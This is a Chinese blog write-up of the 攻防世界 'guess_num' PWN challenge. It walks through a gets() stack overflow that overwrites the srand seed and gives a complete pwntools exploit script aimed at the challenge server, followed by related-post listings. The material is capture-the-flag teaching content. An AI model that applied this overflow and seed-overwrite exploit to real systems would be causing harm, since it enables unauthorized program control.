攻防世界PWN-guess_num

攻防世界 guess_num 1.题目 2.Ida反汇编 3.根据上图代码,分析基本流程。 流程:随机种子生成随机数,对比随机数和输入的数字,连续正确10次就成功。 初看好像不可能成功,怎么可能猜对随机数十次?其实srand生成的随机数是伪随机数。其实就是一个很长的数字字符串,然后根据种子定位到这个字符串某个点,然后每次生成随机数就读一个数字字符。也就是说,如果我们的种子是一样的,相同的随机次序我们得到的随机数是一样的。 于是,现在的问题变成了我们怎么得到程序的种子?或者我们是否可以修改程序的种子? 查看c源码. 阅读详情

题目:guess_num

在这里插入图片描述




checksec查看详情

64位以及各种防护全开

在这里插入图片描述
运行一下逻辑,的确是一个猜数游戏

在这里插入图片描述




进64位IDA

反编译main函数

在这里插入图片描述
出源码

在这里插入图片描述
摘代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi@1
  __int64 v4; // rax@1
  const char *v5; // rdi@1
  __int64 result; // rax@7
  __int64 v7; // rsi@7
  int v8; // [sp+4h] [bp-3Ch]@1
  int i; // [sp+8h] [bp-38h]@1
  int v10; // [sp+Ch] [bp-34h]@1
  char v11; // [sp+10h] [bp-30h]@1
  unsigned int seed[2]; // [sp+30h] [bp-10h]@1
  __int64 v13; // [sp+38h] [bp-8h]@1

  v13 = *MK_FP(__FS__, 40LL);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v8 = 0;
  v10 = 0;
  LODWORD(v4) = sub_BB0(v3, 0LL);
  *(_QWORD *)seed = v4;
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v11);#构造输入
  v5 = (const char *)seed[0];
  srand(seed[0]);#随机数种子
  for ( i = 0; i <= 9; ++i )
  {
    v10 = rand() % 6 + 1; #生成从1到6的随机数
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v8);
    puts("---------------------------------");
    if ( v8 != v10 )#必须是v8 == v10才能执行下方的输出flag函数
    {
      puts("GG!");
      exit(1);
    }
    v5 = "Success!";
    puts("Success!");
  }
  sub_C3E(v5);#该函数可以cat flag
  result = 0LL;
  v7 = *MK_FP(__FS__, 40LL) ^ v13;
  return result;
}

这里涉及到一个东西,c语言的rand函数以及srand函数

rand() 函数每次调用前都会查询是否调用过srand(seed),是否给seed设定了一个值,如果有那么它会自动调用srand(seed)一次来初始化它的起始值。若之前没有调用srand(seed),那么系统会自动给seed赋初始值,即srand(1)自动调用它一次 。

srand() 函数需要提供一个种子,如srand(1),用1来初始化种子
rand()产生随机数时,如果用srand(seed)播下种子之后,一旦种子相同(下面的getpid方法),产生的随机数将是相同的。

简而言之,c的随机数在seed存在的情况下便无法真正的随机,如果我们强制给seed赋值并使用该seed去初始rand(),那rand就成为可控变量了。

因此在这里我们构造v10溢出的时候是将内容溢出给seed,从而让seed唯一,继而让后续的随机数相同来满足if条件

双击v10变量

在这里插入图片描述在这里插入图片描述
v10到seed之间的距离是0x20,将这0x20个空间打满之后,溢出的内容就会给seed,而种子一旦确定,后面的循环也就有了规律,从而容易满足

参考脚本:

from pwn import *
from ctypes import *

r = remote('220.249.52.133',45485)

#这里利用libc后期设置随机数种子
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#前0x20个空间堵死,剩余的内容给seed,把种子设置为1
payload = "a"*0x20+p64(1)
r.sendlineafter("Your name:",payload)
#初始化种子为1
libc.srand(1)
for i in range(10):
	#这里的随机数就已经是顺序有规律一致的了
    num = str(libc.rand()%6+1)
    r.recvuntil('number:')
    r.sendline(num)

r.interactive()

运行:

在这里插入图片描述







参考 https://blog.youkuaiyun.com/lvyibin890/article/details/80141412
https://www.jianshu.com/p/0bc6c65addfd

CTF Pwn新手必看:攻防世界5道经典题目实战解析(附完整脚本) 本文为CTF Pwn新手提供了攻防世界平台上5道经典题目的实战解析,涵盖栈溢出、格式化字符串漏洞等核心技术,并附完整脚本。通过详细讲解每道题目的解题思路和技术要点,帮助初学者快速掌握Pwn技能,提升二进制漏洞挖掘与利用能力。 阅读详情

相关推荐

实战Nocobase插件开发:如何用yarn pm命令快速创建和测试API接口插件

本文详细介绍了如何使用Nocobase插件开发工具快速创建和测试API接口插件,涵盖从环境配置、插件骨架生成到数据模型定义和接口实现的完整流程。通过yarn pm命令简化开发步骤,帮助开发者高效构建支持CRUD的API插件,适用于低代码平台开发场景。

weixin_29313239的博客 457

攻防世界-guess_num

查看保护 好家伙,不留活口(;´д`)ゞ IDA 逻辑很简单,输入名字后,程序会生成一个随机数种子,然后循环10次以下操作: 输入一个数,这个数和本次随机循环数值除以6的余数+1是否相等,相等则跳转到函数 sub_C3E() ,这里面直接有 system(“cat flag”); 分析 10次随机数必不能每次都对,所以得想办法绕过随机数或者修改随机数种子,让其种子固定则其生成的随机数也固定。 本体最有可能栈溢出的地方就是gets,gets获取输入存到v7,进入v7看看有没有漏洞: 可以看到v7下面就是s

qq_45771413的博客 673

高通8155车机系统里,安卓和QNX是怎么‘打电话’的?聊聊HAB通信框架那些事

本文深入解析了高通8155车机系统中HAB通信框架如何实现安卓与QNX的高效协同。作为异构系统的通信桥梁,HAB通过共享内存和中断信号机制,在多媒体数据传输中展现出零拷贝、硬件加速等优势,成为智能座舱实现实时性与生态丰富性平衡的关键技术。

weixin_42715608的博客 382

[攻防世界]guess_num

目录步骤:查保护:NX保护:PIE保护:Stack保护:RELRO保护:寻找逻辑:脚本:checksec 文件名NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局

逆向萌新的博客 902

【自动驾驶轨迹规划之hybrid A*算法】

本文参考论文:https://ai.stanford.edu/~ddolgov/papers/dolgov_gpp_stair08.pdf 这篇文章是基于经典A*算法与reeds-shepp曲线的,不清楚的读者请参考【自动驾驶轨迹规划5之A*算法】_无意2121的博客-优快云博客【自动驾驶轨迹规划之dubins曲线与reeds-shepp曲线】_无意2121的博客-优快云博客 目录 1 hybrid A* 算法创新点 1.1 搜索方式 1.2 车辆运动学模型 1.3 reeds-shepp曲

weixin_65089713的博客 1万+

GD32F470移植LWIP协议,PHY芯片DP83848I

也就是说前24位是有规定的,其中48位MAC中的前几位也是有着对应的含义的。2、旧版LWIP(如1.4.1)存在DHCP状态机卡死问题,建议升级至2.1.3+。

m0_61973119的博客 1591

【攻防世界pwn-guess_num】

下载文件后,首先检查保护 开启了金丝雀,不能溢出到返回地址 将文件拖入ida阅读 代码逻辑是:首先输入name(赋值给v7),接着使用seed[0]作为种子生成10个随机数,每一轮都要猜对,10轮后进入sub_C3E()函数,我们进入这个函数后,发现是直接执行cat flag。 回头看main函数,发现v7和seed[0]都在栈上,且给v7赋值时使用的gets()方法 所以确定攻击思路:在输入name时,输入足够长的数据,覆盖seed[0],然后自己模拟C语言的rand()方法生...

a_silly_coder的博客 1840

cuMotion 入门教程(一)面向机器人学的GPU加速运动生成技术

NVIDIA cuMotion是一款高性能机器人运动生成库,专注于机械操作任务,利用GPU加速技术提升性能。开发者预览版支持运动学/逆运动学、碰撞感知路径规划、轨迹优化等功能,兼容任意自由度机器人。该库提供C++和Python接口,支持从URDF/XRDF文件加载机器人模型,包含世界建模、碰撞检测等工具。教程详细介绍了安装配置、机器人描述加载、运动学计算、世界建模、逆运动学求解以及轨迹优化等核心功能。cuMotion整合了Lula和cuRobo库的技术优势,将成为Isaac ROS的核心组件,适用于工业机器

2506_90492529的博客 2198

初学pwn-攻防世界(guess_num)

初学pwn-writeUp 攻防世界的第六题,guess_num。 从这个题目可以猜出来,是跟猜数字有关的题目。启动靶机。 使用nc链接远端,查看一下。 发现链接之后,首先是输出了欢迎界面,之后需要输入一个名字。输入完成之后就要求开始猜数字。但是要命的是,只能猜一次,猜错了就GG。没有办法,这条路行不通。 下载文件,cat一下,很明显,是一个ELF文件。放进ida里查看一下。 发现这里的逻辑,就是生成一个伪随机数,然后进行猜数字。可以看到在23行这里,给srand函数设置了一个种子,然后进入循环,生成随

天柱的博客 1682

Python爬虫实战:使用最新技术抓取采购网招标公告信息

本文将详细介绍如何使用Python最新爬虫技术构建一个高效的采购网招标公告信息抓取系统。我们将从爬虫基础概念讲起,逐步深入到高级技巧,包括异步处理、反爬虫对策、数据解析与存储等,并提供完整的代码实现。本文旨在为读者提供一套完整的网络数据采集解决方案,适用于各类政府采购平台和商业招标网站。网络爬虫(Web Crawler)是一种自动抓取互联网信息的程序或脚本,它们按照一定的规则,自动地浏览万维网并提取所需数据。在现代商业环境中,爬虫技术广泛应用于价格监控、竞争情报收集、市场研究等领域。

2201_76125261的博客 1622

基于MATLAB的多无人机多任务调度算法——CBBA带时间窗

本文将介绍基于MATLAB的CBBA算法,并对其进行改进,加入时间窗概念,以提高多无人机系统的调度效率和性能。时间窗用于限定任务的执行时间范围,以避免任务执行时间过长或过短导致的问题。具体而言,我们为每个任务设置一个允许的最早开始时间和最晚结束时间,并在任务分配的过程中考虑这些时间约束。在多无人机系统中,需要将若干个任务分配给不同的无人机完成,以实现高效的任务执行。以上是关于基于MATLAB的多无人机多任务调度算法CBBA带时间窗的简要介绍和源代码实现。多无人机系统的调度问题。

BUG?不存在的! 1898

[攻防世界 pwn]——guess_num

[攻防世界 pwn]——guess_num15 [攻防世界 pwn]——level0 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下,开启了NX, canary, PIE 好家伙 在IDA中发现 我们只要利用gets函数将seed[0]给覆盖掉就可以了, 间距为0x20 用C语言写个小demo #include <stdio.h> #include <stdlib.h> int main() { int n, b;

Y_peak的博客 1629

Ubuntu零基础教学-如何把Ubuntu20.04界面从英文修改为中文?| 超级详细,建议收藏

带你如何把Ubuntu20.04界面从英文修改为中文?| 超级详细,建议收藏

**My Coding Family** 5340

(wp)攻防世界PWN——guess_num

转载自个人博客0pt1mus 好久没有做PWN题了,今天开始做一下,把之前的东西捡起来,同时对之前有些知识点也有了新的认识,新的理解。 分析 首先将附件下载下来,同时通过nc连接一下,了解一下大致的流程。 可以看到,先让我们输入用户名,然后输入猜的的数字。 然后常规操作,通过file和checksec工具判断文件类型和开启了那些防护措施。 可以知道这是一个64位的linux程序,并且开启了部分...

0pt1mus 1416

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

攻防世界pwn【guess_num】

flag为:cyberpeace{08b9d2e122fdcc5cfd4c7955eb732ae1}看这里,一开始还以为是我输入一个数,可以看到它会回显的数字;0x30-0x10;需要0x20个字符来让它溢出;使用ida64打开;进入gets漏洞点看;

SUOYE_GUANXING的博客 440

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

[Pwn]攻防世界pwn题目wp--guess_num,hello_pwn

pwn 学习篇 0x1 攻防世界guess_num 下载题目所给附件,使用checksec 进行查看 发现是一个 64bit的文件,relro开启了部分保护以及开启了NX保护 常规丢进ida64进行反编译 左侧函数栏找到main函数 F5 发现函数体大致意思是通过rand()函数进行随机数的生成并对用户输入的数字进行十次比对,有一次不对即执行exit(1)终止此程序段,若10次都比对成功则可以得到返回的flag值。 由于随机数的产生不可控的,因此题目思路大概是通过在名字输入时的gets函数进行对seed的

WitherC的练级之路 444

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

攻防世界 - pwn - guess_num

A、程序分析 1、 分析程序发现连续输入密码正确10次即可获取flag 2、 gets(0,rbp-30h) srand(rbp-10h) 通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同 3、 ...

qq726232111的博客 1237

攻防世界 适合做桌面_攻防世界 - pwn - guess_num

攻防世界 - pwn - guess_num攻防世界 - pwn - guess_numA、程序分析1、分析程序发现连续输入密码正确10次即可获取flag2、gets(0,rbp-30h)srand(rbp-10h)通过输入用户名可以覆盖srand的种子,srand rand为伪随机,种子一样时随机数相同3、进行随机数比较时 额外进行了加密B、分析利用1、分析加密算法2、通过用户名覆盖rbp-10...

weixin_29097457的博客 171

攻防世界 pwn 练习区 guess_num

题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么 ** 0、下载附件,使用checksec查看保护情况和文件位数,尝试打开文件 ** 64位可执行文件,开启了canary,NX,PIE和部分RELRO保护 ** 1、使用IDA64 Pro打开文件 ** 查看main函数,是一个猜数游戏,通过srand()函数初始化rand()函数的初始值,seed[0]作为种子,然后进行10轮猜数,全部正确之后,执行sub_C3E()函数。 查看sub_C3E()函数: 执行后直接得到flag

ChaoYue_miku的博客 1011

攻防世界pwn新手区guess_num

最近重新回去看新手区的题目时发现一个挺有趣的东西,就是猜随机数,这里涉及到libc库中的rand()和srand()函数的应用,所以在讲题目之前我想先讲一下rand()和srand()函数的概念。 rand()函数会生成随机数,但这个随机数并不是真的随机数,由于周期比较长,他们只是在一定范围内随机,因此在调用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。而srand()中的种子seed通常会用time(0)或geyp

weixin_46711318的博客 778

攻防世界-pwn新手区-guess_num

发现get()危险函数,该函数可以进行任意长度的输入 下面有seed函数,该函数为C语言中产生随机数的种子。 查看一下其栈空间 我们可以去覆盖一下这个seed地址 看了一下其他大佬的博客,知道可以用python的内置函数ctypes,进行C语言代码的调试 只需要将种子覆盖为1,然后调用C语言的libc共享库,得到这个种子产生的随机值,就能够保证每次猜对了。 from pwn import * from ctypes import * context(os='linux',arch='amd64',lo.

CHAWUCIREN1的博客 307

攻防世界-wp-PWN-新手区-3-guess_num

题目描述: 菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么 题目场景: 220.249.52.133:35323 题目附件: b59204f56a0545e8a22f8518e749f19f 题目思路: 随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。 解题过程: 载入IDA64,找到main函数,F5反编译得到伪C代码,发现输入v8名字时可以覆盖sreed[0],这样这个随机数列就可控了。 __int64 __fastcall

Scorpio_m7 1707

攻防世界--pwn--新手区-WP合集-目录

到今天为止,攻防世界中pwn新手区的题已经做完,整理了这10道题的WP,比较基础。 这里是10道题的统一文件: 链接:https://pan.baidu.com/s/1tXPMWvrWA7XW7zhDYsA4kA 提取码:3jrn 下面是WP的合集: get_shell--writeup cgpwn2---writeup when_did_you_...

ATFWUS的博客 2669

pwn刷题num3---覆盖随机数种子

攻防世界pwn新手区—guess_num 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 64位,小端序 开启部分RELRO----got表扔可写 开启canary----栈上存在cookie信息导致栈溢出发生异常中断程序 开启了NX保护-----注入的shellcode无法执行 开启PIE----程序内存地址随机化,程序在ida或gdb中的地址都不是真实地址 动态链接 程序是让我们先输入一个名字,然后猜数字,很难猜,直接ida看伪代码 存在一个危险函数gets,(输入的

tbsqigongzi的博客 697

攻防世界-PWN-Exercise-Wirteup

目录 hello_pwn hello_pwn 用ida打开查看源码: 接收最长16个字节,如果dword_60106C = 特定值 则执行sub_400686 这个函数是打印flag 构造payload使得第4个字节开始的数据转换成dword为特定值即可: from pwn import * r = remote("220.249.52.133",37341) payload="aaaa"+p32(0x6E756161) r.send(payload) r.interactive(.

1987

攻防世界guess_num

题目 一点信息:猜数字 虚拟机里checksec

Rt1Text的博客 678
上一篇: 攻防世界PWN-string
下一篇: Bugku逆向-游戏过关
Deeeelete
博客等级 码龄7年 83粉丝 179原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Deeeelete

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值